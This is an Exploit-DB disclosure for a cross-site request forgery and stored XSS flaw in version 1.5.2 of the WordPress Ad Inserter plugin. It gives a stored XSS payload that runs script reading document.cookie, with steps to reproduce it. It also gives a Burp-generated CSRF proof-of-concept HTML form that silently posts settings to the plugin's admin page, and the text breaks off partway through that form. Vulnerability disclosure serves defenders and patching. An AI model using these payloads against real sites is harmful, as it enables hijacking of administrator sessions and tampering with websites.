Exploit-DB #36961
Description: WordPress Plugin Ad Inserter 1.5.2 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-05-08
Author: Kaustubh G. Padwad

Exploit:
================================================================
CSRF/Stored XSS Vulnerability in Ad Inserter Plugin 
================================================================


. contents:: Table Of Content

Overview
========

* Title :CSRF and Stored XSS Vulnerability in Ad Inserter Wordpress Plugin 
* Author: Kaustubh G. Padwad
* Plugin Homepage: https://wordpress.org/plugins/ad-inserter/
* Severity: HIGH
* Version Affected: Version  1.5.2  and mostly prior to it
* Version Tested : Version  1.5.2
* version patched:

Description 
===========

Vulnerable Parameter 
--------------------
* ad1_name
* Block 1
* Block Name
* adinserter name
* disable adinserter 


About Vulnerability
-------------------
This plugin is vulnerable to a combination of CSRF/XSS attack meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering), the attacker can insert arbitrary script into admin page. Once exploited, admin's browser can be made to do almost anything the admin user could typically do by hijacking admin's cookies etc.

Vulnerability Class
=================== 
Cross Site Request Forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29)
Cross Site Scripting (https://www.owasp.org/index.php/Top_10_2013-A3-Cross-Site_Scripting_(XSS)

Steps to Reproduce: (POC)
=========================

After installing the plugin

1. Goto Dashboard --> Setting -->   Ad Inserter --> Block1

2. Insert this payload ## "> <img src="/" =_=" title="onerror='prompt(document.cookie)'"> ## Into  above mention Vulnerable parameter Save settings and see XSS in action

3. Visit Ad Inserter settings page of this plugin anytime later and you can see the script executing as it is stored.

Plugin does not uses any nonces and hence, the same settings can be changed using CSRF attack and the PoC code for the same is below

CSRF POC Code
=============
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="http://127.0.0.1/wp/wp-admin/options-general.php?page=ad-inserter.php" method="POST">
      <input type="hidden" name="ad_save" value="Save All Settings" />
      <input type="hidden" name="ad1_name" value="<img src="/" =_=" title="onerror='prompt(document.cookie)'">" />
      <input type="hidden" name="ad1_process_php" value="0" />
      <input type="hidden" name="ad1_data" value="" />
      <input type="hidden" name="ad1_displayType" value="None" />
      <input type="hidden" name="ad1_display_for_users" value="all" />
      <input type="hidden" name="ad1_display_for_devices" value="all" />
      <input type="hidden" name="ad1_floatType" value="None" />
      <input type="hidden" name="ad1_custom_css" value="" />
      <input type="hidden" name="ad1_widget_settings_post" value="0" />
      <input type="hidden" name="ad1_widget_settings_post" value="1" />
      <input type="hidden" name="ad1_widget_settings_page" value="0" />
      <input type="hidden" name="ad1_widget_settings_home" value="0" />
      <input type="hidden" name="ad1_widget_settings_home" value="1" />
      <input type="hidden" name="ad1_widget_settings_category" value="0" />
      <input type="hidden" name="ad1_widget_settings_category" value="1" />
      <input type="hidden" name="ad1_widget_settings_search" value="0" />
      <input type="hidden" name="ad1_widget_settings_search" value="1" />
      <input type="hidden" name="ad1_widget_settings_archive" value="0" />
      <input type="hidden" name="ad1_widget_settings_archive" value="1" />
      <input type="hidden" name="ad1_after_day" value="0" />
      <input type="hidden" name="ad1_general_tag" value="gadgets" />
      <input type="hidden" name="ad1_block_user" value="" />
      <input type="hidden" name="ad1_domain_list_type" value="Black List" />
      <input type="hidden" name="ad1_block_cat" value="" />
      <input type="hidden" name="ad1_block_cat_type" value="Black List" />
      <input type="hidden" name="ad1_minimum_paragraphs" value="0" />
      <input type="hidden" name="ad1_paragraph_text" value="" />
      <input type="hidden" name="ad1_paragraphNumber" value="0" />
      <input type="hidden" name="ad1_directionType" value="From Top" />
      <input type="hidden" name="ad1_excerptNumber" value="0" />
      <input type="hidden" name="ad1_enable_manual" value="0" />
      <input type="hidden" name="ad1_enable_php_call" value="0" />
      <input type="hidden" name="ad2_name" value="Block 2" />
      <input type="hidden" name="ad2_process_php" value="0" />
      <input type="hidden" name="ad2_data" value="" />
      <input type="hidden" name="ad2_displayType" value="None" />
      <input type="hidden" name="ad2_display_for_users" value="all" />
      <input type="hidden" name="ad2_display_for_devices" value="all" />
      <input type="hidden" name="ad2_floatType" value="None" />
      <input type="hidden" name="ad2_custom_css" value="" />
      <input type="hidden" name="ad2_widget_settings_post" value="0" />
      <input type="hidden" name="ad2_widget_settings_post" value="1" />
      <input type="hidden" name="ad2_widget_settings_page" value="0" />
      <input type="hidden" name="ad2_widget_settings_home" value="0" />
      <input type="hidden" name="ad2_widget_settings_home" value="1" />
      <input type="hidden" name="ad2_widget_settings_category" value="0" />
      <input type="hidden" name="ad2_widget_settings_category" value="1" />
      <input type="hidden" name="ad2_widget_settings_search" value="0" />
      <input type="hidden" name="ad2_widget_settings_search" value="1" />
      <input type="hidden" name="ad2_widget_settings_archive" value="0" />
      <input type="hidden" name="ad2_widget_settings_archive" value="1" />
      <input type="hidden" name="ad2_after_day" value="0" />
      <input type="hidden" name="ad2_general_tag" value="gadgets" />